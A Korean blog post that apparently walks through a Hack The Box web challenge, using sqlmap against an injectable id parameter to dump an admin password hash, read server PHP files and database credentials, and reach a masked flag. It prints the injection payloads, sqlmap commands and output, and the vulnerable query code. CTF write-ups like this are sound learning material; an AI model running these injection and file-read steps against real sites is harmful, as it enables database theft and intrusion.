티스토리 뷰
접속하면 위와 같은 페이지가 나옵니다.
소스코드를 보아하니 아래와 같이 주석처리된 php 경로가 보입니다.
<!-- <a href="portfolio.php?id=2">Portfolio 2</a> -->
접속해보니 아래와 같은 페이지가 나왔습니다.
보아하니 id 파라미터에 sql injection 이 가능한 것 같았습니다.
http://188.166.173.208:32173/portfolio.php?id=1||1
바로 sqlmap 을 돌려보았습니다.
>python sqlmap.py -u http://188.166.173.208:32173/portfolio.php?id=1
결과를 보아하니 데이터베이스로부터 내용물을 추출할 수 있을 것 같았습니다.
[06:18:43] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 7575=7575
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 2722 FROM (SELECT(SLEEP(5)))ksWb)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706271,0x64416379524f564a7a465374725a45794666485748795461767975484e6c4961614a6b716f41594f,0x717a786a71),NULL-- -
---
[06:18:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
freelancer 데이터베이스에는 다음과 같은 테이블이 있었습니다.
>python sqlmap.py -u http://188.166.173.208:32173/portfolio.php?id=1 --tables
Database: freelancer
[2 tables]
+----------------------------------------------------+
| portfolio |
| safeadmin |
+----------------------------------------------------+
그리고 safeadmin 테이블을 조회했을 때는 다음과 같았습니다.
>python sqlmap.py -u http://188.166.173.208:32173/portfolio.php?id=1 -T safeadmin --dump
Database: freelancer
Table: safeadmin
[1 entry]
+----+--------------------------------------------------------------+----------+---------------------+
| id | password | username | created_at |
+----+--------------------------------------------------------------+----------+---------------------+
| 1 | $2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K | safeadm | 2019-07-16 20:25:45 |
+----+--------------------------------------------------------------+----------+---------------------+
음 password bruteforce를 돌려보았으나 별다른 성과가 없었습니다.
그래서 일단 sql injection 이 가능하기 때문에 loadfile 또한 시도해보고자 아래와 같은 명령어를 수행하였습니다.
>python sqlmap.py -u http://188.166.173.208:32173/portfolio.php?id=1 --file-read=/var/www/html/portfolio.php
처음엔 index.php 도 살펴보았지만 별다른 소득이 없었고, portfolio.php 의 경우에는 sqli injection 이 되는 곳이기 때문에 php 코드가 있을 거라고 생각해서 힌트가 있을 거라고 생각했습니다.
<?php
// Include config file
require_once "administrat/include/config.php";
?>
<link rel="icon" href="favicon.ico" type="image/x-icon">
<link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
<!-- Portfolio Modals -->
<!-- Portfolio Modal 1 -->
<div class="modal-dialog modal-xl" role="document">
<div class="modal-content">
<div class="modal-body text-center">
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-8">
<!-- Portfolio Modal - Title -->
<!-- Icon Divider -->
<div class="divider-custom">
<!-- Portfolio Modal - Image -->
<img class="img-fluid rounded mb-5" src="img/portfolio/cabin.png" width="300" height="300">
<!-- Portfolio Modal - Text -->
<p class="mb-5"><?php
$id = isset($_GET['id']) ? $_GET['id'] : '';
$query = "SELECT * FROM portfolio WHERE id = $id";
if ($result = mysqli_query($link, $query)) {
/* fetch associative array */
while ($row = mysqli_fetch_row($result)) {
printf ("%s - %s\n", $row[1], $row[2]);
}
/* free result set */
mysqli_free_result($result);
}
/* close connection */
mysqli_close($link);
?></p>
</div>
</div>
</div>
</div>
</div>
</div>
그리고 새로운 파일인 require_once "administrat/include/config.php"; 를 확인할 수 있었습니다.
해당 파일을 열어보면 아래와 같이 mysql 아이디와 패스워드를 알 수 있습니다.
<?php
$link = new mysqli("localhost", "db_user", "Str0ngP4ss", "freelancer");
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>
그러다가 잠깐 막혔다가 img 경로에 접속했을 때 Directory Listing 이 되던 걸 생각해냈습니다.
http://188.166.173.208:32173/img/
그래서 위에서 얻은 config.php 상위 경로도 Directory Listing이 될 것이라고 생각하여 상위 경로로 이동해보았습니다.
그러다가 아래와 같은 URL과 페이지를 알 수 있었습니다.
http://188.166.173.208:32173/administrat/index.php
아이디와 패스워드는 mysql 건 안됐었고, 느낌이 admin 의 패스워드가 필요하다 싶었는데, 우선 password crack 에 실패한 상태여서 먼저 해당 로그인 페이지의 php 소스코드를 확인해보고자 하였습니다.
<?php
// Initialize the session
session_start();
// Check if the user is already logged in, if yes then redirect him to welcome page
if(isset($_SESSION["loggedin"]) && $_SESSION["loggedin"] === true){
header("location: panel.php");
exit;
}
// Include config file
require_once "include/config.php";
// Define variables and initialize with empty values
$username = $password = "";
$username_err = $password_err = "";
// Processing form data when form is submitted
if($_SERVER["REQUEST_METHOD"] == "POST"){
// Check if username is empty
if(empty(trim($_POST["username"]))){
$username_err = "Please enter username.";
} else{
$username = trim($_POST["username"]);
}
// Check if password is empty
if(empty(trim($_POST["password"]))){
$password_err = "Please enter your password.";
} else{
$password = trim($_POST["password"]);
}
// Validate credentials
if(empty($username_err) && empty($password_err)){
// Prepare a select statement
$sql = "SELECT id, username, password FROM safeadmin WHERE username = ?";
if($stmt = mysqli_prepare($link, $sql)){
// Bind variables to the prepared statement as parameters
mysqli_stmt_bind_param($stmt, "s", $param_username);
// Set parameters
$param_username = $username;
// Attempt to execute the prepared statement
if(mysqli_stmt_execute($stmt)){
// Store result
mysqli_stmt_store_result($stmt);
// Check if username exists, if yes then verify password
if(mysqli_stmt_num_rows($stmt) == 1){
// Bind result variables
mysqli_stmt_bind_result($stmt, $id, $username, $hashed_password);
if(mysqli_stmt_fetch($stmt)){
if(password_verify($password, $hashed_password)){
// Password is correct, so start a new session
session_start();
// Store data in session variables
$_SESSION["loggedin"] = true;
$_SESSION["id"] = $id;
$_SESSION["username"] = $username;
// Redirect user to welcome page
header("location: panel.php");
} else{
// Display an error message if password is not valid
$password_err = "The password you entered was not valid.";
}
}
} else{
// Display an error message if username doesn't exist
$username_err = "No account found with that username.";
}
} else{
echo "Oops! Something went wrong. Please try again later.";
}
}
// Close statement
mysqli_stmt_close($stmt);
}
// Close connection
mysqli_close($link);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Freelancer Login</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css">
<link rel="icon" href="../favicon.ico" type="image/x-icon">
<style type="text/css">
body{ font: 14px sans-serif; }
.wrapper{ width: 350px; padding: 20px; }
</style>
</head>
<body>
<div class="wrapper">
<h2>Login</h2>
<p>Please fill in your credentials to login.</p>
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">
<div class="form-group <?php echo (!empty($username_err)) ? 'has-error' : ''; ?>">
<label>Username</label>
<input type="text" name="username" class="form-control" value="<?php echo $username; ?>">
<span class="help-block"><?php echo $username_err; ?></span>
</div>
<div class="form-group <?php echo (!empty($password_err)) ? 'has-error' : ''; ?>">
<label>Password</label>
<input type="password" name="password" class="form-control">
<span class="help-block"><?php echo $password_err; ?></span>
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary" value="Login">
</div>
</form>
</div>
</body>
</html>
그리고 새로운 경로인 panel.php 경로를 알게 되었습니다. 이 경로는 바로 접속할 경우 로그인 페이지로 이동되는 것으로 보아 로그인 하면 접속가능한 곳 같았습니다. 그래서 sql injection 의 loadfile 로 추출해보았습니다.
<?php
// Initialize the session
session_start();
// Check if the user is logged in, if not then redirect him to login page
if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){
header("location: index.php");
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Welcome</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css">
<link rel="icon" href="../favicon.ico" type="image/x-icon">
<style type="text/css">
body{ font: 14px sans-serif; text-align: center; }
</style>
</head>
<body>
<div class="page-header">
<h1>Hi, <b><?php echo htmlspecialchars($_SESSION["username"]); ?></b>. Welcome to our site.</h1><b><a href="logout.php">Logout</a></b>
<br><br><br>
<h1>HTB{플래그는 가려졌습니다.}</h1>
</div>
</body>
</html>
결국 Flag는 panel.php 파일의 내용에 있었습니다.
'보안 > Wargame' 카테고리의 다른 글
[Lord of SQLi] bugbear Writeup/문제풀이 (0) | 2021.09.04 |
---|---|
[Lord of SQLi] darkknight Writeup/문제풀이 (0) | 2021.09.03 |
[Hackthebox] - baby CachedView Writeup(문제풀이) (0) | 2021.08.23 |
[Hackthebox] - Gunship Writeup(문제풀이) (0) | 2021.08.19 |
[Lord of SQLi] golem Writeup/문제풀이 (0) | 2021.08.16 |